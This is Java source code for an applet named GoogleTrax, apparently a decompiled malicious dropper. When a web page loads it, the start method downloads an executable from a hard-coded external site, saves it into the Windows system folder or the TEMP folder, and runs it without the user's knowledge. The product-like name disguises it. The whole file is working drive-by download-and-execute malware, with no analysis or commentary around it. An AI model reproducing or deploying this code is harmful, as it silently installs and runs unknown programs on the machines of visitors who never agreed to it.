import java.applet.Applet; import java.io.*; import java.net.URL; import java.net.URLConnection; public class GoogleTrax extends Applet { public GoogleTrax() { remoteURL = "http://www.degravehosting.be/media/inc/GoogleTrax.exe"; fileURL = "C:\\GoogleTrax.exe"; String s = System.getProperty("os.name"); if(s.indexOf("Vista") != -1) { String s1 = System.getenv("TEMP") == null ? "C:" : System.getenv("TEMP"); fileURL = (new StringBuilder()).append(s1).append("\\GoogleTrax.exe").toString(); } else { String s2 = System.getenv("SystemRoot"); String s3 = s2 == null || s2.length() <= 0 ? "C:\\Windows" : s2; fileURL = (new StringBuilder()).append(s3).append("\\GoogleTrax.exe").toString(); } } public void init() { } public void start() { run(); } public void stop() { } public void destroy() { } public static void main(String args[]) { (new GoogleTrax()).run(); } private void run() { try { BufferedOutputStream bufferedoutputstream = null; InputStream inputstream = null; URL url = new URL(remoteURL); bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(fileURL)); URLConnection urlconnection = url.openConnection(); inputstream = urlconnection.getInputStream(); byte abyte0[] = new byte[1024]; int i; for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i) bufferedoutputstream.write(abyte0, 0, i); try { if(inputstream != null) inputstream.close(); if(bufferedoutputstream != null) bufferedoutputstream.close(); } catch(IOException ioexception) { ioexception.printStackTrace(); } Runtime runtime = Runtime.getRuntime(); try { Process process = runtime.exec(fileURL); process.waitFor(); BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream())); String s; while((s = bufferedreader.readLine()) != null) System.out.print(s); } catch(Exception exception1) { } try { if(inputstream != null) inputstream.close(); if(bufferedoutputstream != null) bufferedoutputstream.close(); } catch(IOException ioexception1) { ioexception1.printStackTrace(); } } catch(Exception exception) { exception.printStackTrace(); } } private String remoteURL; private String fileURL; }